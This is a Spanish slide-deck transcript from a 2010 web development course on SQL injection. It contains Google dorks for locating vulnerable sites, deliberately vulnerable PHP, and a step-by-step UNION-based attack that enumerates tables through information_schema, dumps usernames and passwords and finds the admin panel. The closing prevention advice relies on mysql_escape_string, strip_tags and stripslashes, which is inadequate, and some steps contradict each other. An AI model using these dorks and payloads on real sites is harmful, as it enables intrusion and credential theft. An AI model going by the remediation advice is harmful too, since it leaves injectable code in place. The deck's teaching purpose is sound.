inyección sql
TRANSCRIPT
5/9/2018 Inyección SQL - slidepdf.com
http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 1/10
Inyección SQL SQLi
Asignatura: Taller de Desarrollo WebGentileza: Xt3mP
Profesor: Jorge Cortés Gallardo
LA SERENA – NOVIEMBRE 2010
5/9/2018 Inyección SQL - slidepdf.com
http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 2/10
“… el siguiente paper contiene información con fines educacionales. . . la idea es
acercar más el tema de las Vulnerabilidades Web, respecto a SQLi y aclarar dudas
sobre ellas . . . sin embargo, no me hago responsable por los actos y/o consecuencias
que pueda ocasionar el entregar este tipo de información, ya que es parte importante
para el desarrollo de nuestra Asignatura . . .”
Jorge Luis Alejandro Cortés Gallardo
“…Nadie sabe lo que hace mientras actúa correctamente, pero de lo que está mal uno
siempre es consciente.”
Johann Wolfgang Goethe
5/9/2018 Inyección SQL - slidepdf.com
http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 3/10
TERMINOS IMPORTANTE:
SQL: El lenguaje de consulta estructurado o SQL (por sus siglas en inglés structured query
language) es un lenguaje declarativo de acceso a bases de datos relacionales que permite
especificar diversos tipos de operaciones en éstas.
Fuente: http://es.wikipedia.org/wiki/SQL
MySQL: MySQL es un sistema de gestión de base de datos relacional, multihilo y multiusuario
con más de seis millones de instalaciones.1 MySQL AB —desde enero de 2008 una
subsidiaria de Sun Microsystems y ésta a su vez de Oracle Corporation desde abril de 2009—
desarrolla MySQL como software libre en un esquema de licenciamiento dual.
Fuente: http://es.wikipedia.org/wiki/MySQL
SQLi(SQL Injection): Consiste en tratar de ocasionar un error en la base de datos alterandola petición a esta mediante el código PHP (En este caso) para poder explotar y mal usar (en
su mayoría) esta vulnerabilidad y sacar provecho del bug.
Filtrar: En este ámbito nos referiremos a filtrar al quitar código que pudiese ser malicioso, en
los campos ó casillas de texto para evitar posibles vulnerabilidades en nuestro sitio web.
Dork: En este ámbito nos referiremos a "dorks" a "frases ó palabras" que nos facilitarán las
páginas vulnerables.
5/9/2018 Inyección SQL - slidepdf.com
http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 4/10
¿POR QUÉ ES POSIBLE?
Por la mala estructuración del código que hace la petición a la base de datos por lo cual para
explotarla le pondremos datos falsos por lo que el resultado sería un error y nos mostraría que
es vulnerable.
Suponiendo que nuestro código es
<?php
$noticia = $_GET['noticia'];
mysql_query("SELECT * FROM noticias WHERE id='".$noticia."' ")
?>
Entonces al saber un poco de SQL sabemos en la manera que una petición es enviada a la DBpor lo que podremos explotarla, suponiendo que en id ponemos id=-1 and 2=2 la consulta
sería:
Código:
SELECT * from noticias where id=-1 and 2=2
Lo cual daría como resultado Verdadero (true) por que dos es igual a 2, en cambio ¿qué pasa
si ponemos datos falsos (false)? ¿Algo como id=-1 and 2=1? La consulta daría false ya que dos
no es igual a uno y la consulta sería
Código:
SELECT * from noticias where id=-1 and 2=1
Union: Nos permite combinar varios valores con la ayuda del SELECT.
SELECT: Nos permite seleccionar (como su nombre lo dice) valores de una tabla ó columna.
group_concat(): Selecciona un grupo de columnas ó tablas para hacer una petición múltiple.
Dorks: La mayoría de los DORKS actuales ya no son efectivos ya que la mayoría ya los mal
exploto lo que ocasionó que nuestro buscador nos tiré páginas que ya fueron hackeadas ó
que ya está reparado el bug, pero a continuación les dejaré unos:
5/9/2018 Inyección SQL - slidepdf.com
http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 5/10
inurl:index.php?id=
inurl:info_page.php?id=
inurl:news.php?id=
inurl:noticias.php?id=
inurl:productos.php?id=
inurl:details.php?id=
inurl:cat.php?id=
inurl:show.php?id=
inurl:detalles.php?id=
inurl:article.php?id=
ETC – San google nos ayuda jajajajajaj
Ustedes pueden ir variando el nombre del archivo PHP y la variable del método GET para ir
buscando posibles páginas vulnerables.
PRACTICA
En esta ocasión utilizaremos una de prueba de su proyecto Web Perro Que ladra no muerde,
como dije anteriormente lo más probable que de una vulnerabilidad de SQL ya que al tratar
de ocasionar el error nos da un true.
COMO SABER SI EL SITIO ES VULNERABLE
Para ver que si dicha web es vulnerable comenzaremos a tratar de ocasionar un error, ¿Pero
cómo?, fácil, lo que hará la sentencia es que en el código PHP estará un $_GET['id'] que en
este caso tomaría el valor que le demos al id después del signo =, así que al nosotros poner
cualquier carácter raro o ningún número en específico nos votará el error.
Página normal: http://localhost/proyecto/index.php?id=96
Página con error: http://localhost/proyecto/index.php?id=96’
Página con error: http://localhost/proyecto/index.php?id=’
5/9/2018 Inyección SQL - slidepdf.com
http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 6/10
En donde el error lo puedes ocasionar sin poner nada después del "=" ó con " ' y " ".
Nos mostrará un error con lo siguiente:
Código:
Failed to get advertisement!
MySQL error :You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server
version for the right syntax to use near '' at line 1
¡PENCA!, es vulnerable ya que como mencioné arriba al obtener el valor de "id" y al no tener
ninguno, provocará un error de sintaxis.
COMENZAR ATACAR
Ya que tengamos detectado que es vulnerable ( http://localhost/proyecto/index.php?id=96’)
procederemos a buscar el número de columnas agregando el código: -1+union+select+1 en
donde -1 es cualquier valor y en donde +1 sería la primer columna.
Si todo sale bien:
http://localhost/proyecto/index.php?id=-1+union+select+1-- nos deberá votar el siguiente
error:
Código:
Failed to get advertisement!
MySQL error: The used SELECT statements have a different number of columns
Lo cual nos indica que tiene más que una columna por lo tanto iremos agregando columnas
(,2,3,4,5,...10) hasta que nos muestre algún resultado:
http://localhost/proyecto/index.php?id=-1+union+select+1
http://localhost/proyecto/index.php?id=-1+union+select+1,2
http://localhost/proyecto/index.php?id=-1+union+select+1,2,3
http://localhost/proyecto/index.php?id=-1+union+select+1,2,3,4
5/9/2018 Inyección SQL - slidepdf.com
http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 7/10
..
http://localhost/proyecto/index.php?id=-
1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
http://localhost/proyecto/index.php?id=-
1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
¡PENCA!, nos mostrará el número en letras pequeñas el cuál en este caso dependerá de su
sitio Web.
Como encontrar la tabla que nos interesa
Supondremos que para este caso es la tabla 17, utilizarémos "table_name" y le harémos la
petición con: "+from+information_schema.tables--" lo cual nos mostrará
http://localhost/proyecto/index.php?id=-
1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20
,21+from+information_schema.tables--
Si todo sale bien, nos debería mostrar "CHARACTER_SETS", ahora buscaremos nuestra tabla
literalmente en específico (El nombre varia) que pueda contener datos claves como"administrador, clientes, mascota", lo haremos mediante +limit+1,1-- en donde +1 se va
elevando para ir subiendo hasta encontrar la que contenga datos claves y se implementará
en la URL de esta manera:
http://localhost/proyecto/index.php?id=-
1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20
,21+from+information_schema.tables+limit+1,1--
Al igual que las columnas, iremos subiendo de valor el "+1" hasta encontrar lo que
anteriormente les dije:
5/9/2018 Inyección SQL - slidepdf.com
http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 8/10
http://localhost/proyecto/index.php?id=-
1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20
,21+from+information_schema.tables+limit+2,1--
http://localhost/proyecto/index.php?id=-
1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20
,21+from+information_schema.tables+limit+3,1--
http://localhost/proyecto/index.php?id=-
1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20
,21+from+information_schema.tables+limit+4,1--
…
Supondremos que para este caso es 4 nos arroja "usuarios" y como lo dice usuarios nos indica
un ingreso al sistema, por lo tanto comenzaremos a explorar esa tabla.
Para hacerlo ocuparemos 2 funciones más que son "group_concat(column_name)" que nos
mostrará todos los campos de la columna y "+where+table_name=char()--" en donde entre
paréntesis iría el nombre de la tabla convertido a ASCII, como en este caso es USUARIOS el
valor sería: 108,111,103,105,110.
Por lo que la inyección sería:
http://localhost/proyecto/index.php?id=-
1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(column
_name),18,19,20,21+from+information_schema.columns+where+table_name=char(
108,111,103,105,110)--
Con esto como lo mencioné anteriormente, hacemos una petición para que nos muestre los
campos de la columna vulnerable, en este caso la 17 llamada USUARIOS; nos mostraría esto:
id,usuario,password,nombre,estado….etc
¡PENCA!, aquí a primera vista las más importantes son usuario y contraseña, por lo tanto los
exploraremos haciendo un concat e indicando de donde queremos sacar estos datos, lo
haremos de la siguiente manera:
5/9/2018 Inyección SQL - slidepdf.com
http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 9/10
http://localhost/proyecto/index.php?id=-
1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(UserID,0x3a,
Password),18,19,20,21+from+login
Con esto como lo mencioné anteriormente, indicamos que muestre los campos usuario y
password de la tabla usuarios y en donde 0x3a es igual a " : ", y si todo sale bien nos votará
los datos del administrador, Ejemplo:
admin:252525
ENCONTRAR EL PANEL DEL ADMINISTRADOR
Esto realmente es lo más difícil ya que últimamente los paneles del administrador son muydifíciles de encontrar aunque los más cotidianos son /admin/ el cuál es el panel del
administrador de esta página, por lo tanto el link sería:
http://localhost/proyecto/admin/
Existen herramientas las cuales permiten realizar este tipo de búsquedas, buscar como
Admin Path Finder, en san Google. Jajajajaja.
SUGERENCIAS
La primer sugerencia que les haré concorde a esto es que evítense la pena (literalmente) de
cometer una infracción con la página web que expuse como ejemplo, ya que fue elegida al
azar y no tiene ningún antecedente delictivo por el cuál merezca ser hackeada.
Sobre los campos de la tabla, si los campos aparecen en mayúsculas, póngalos en
mayúsculas, si salen en minúsculas póngalos en minúsculas.
A veces el error no lo muestra así que les recomiendo poner -1+union+select+1 y si nos da el
error de que tiene diferentes columnas a la petición que pusimos obviamente es vulnerable.
Ver también SQLi Helper
http://ddlr.servepics.com/rd.php?go=http://www.megaupload.com/?d=5NSR1DA4
5/9/2018 Inyección SQL - slidepdf.com
http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 10/10
LO MAS IMPORTANTE QUE DEBEN SABER USTEDES – COMO EVITAR SQLi
Muchos saben hacer SQL Injection pero no saben evitarla, así que esto les servirá.
Como mencioné a lo largo de este paper una inyección SQL es llevada a cabo por la forma en
que está realizando la Consulta Sql o la petición a la base de datos, un ejemplo es:
<?php
$noticia = $_GET['id']; // $_REQUEST['id'];
$views = mysql_query("SELECT noticia FROM noticias WHERE
noticia='".$noticia."' ");
?>
Por lo tanto para hacerlo más seguro utilizamos la función "mysql_escape_string" y quedaría
así:
<?php
$noticia = $_GET['id']; // $_REQUEST['id'];
$views = mysql_query("SELECT noticia FROM noticias WHERE
noticia='".mysql_escape_string($noticia)."' ");
?>
También podemos agregar un strip_tags(); ó stripslashes(); para eliminar etiquetas que
puedan hacer vulnerable nuestra petición.
<?php
$noticia = $_GET['id']; // $_REQUEST['id'];
$noticia = strip_tags($noticia);
$noticia = stripslashes($noticia);
$views = mysql_query("SELECT noticia FROM noticias WHERE
noticia='".mysql_escape_string($noticia)."' ");
?>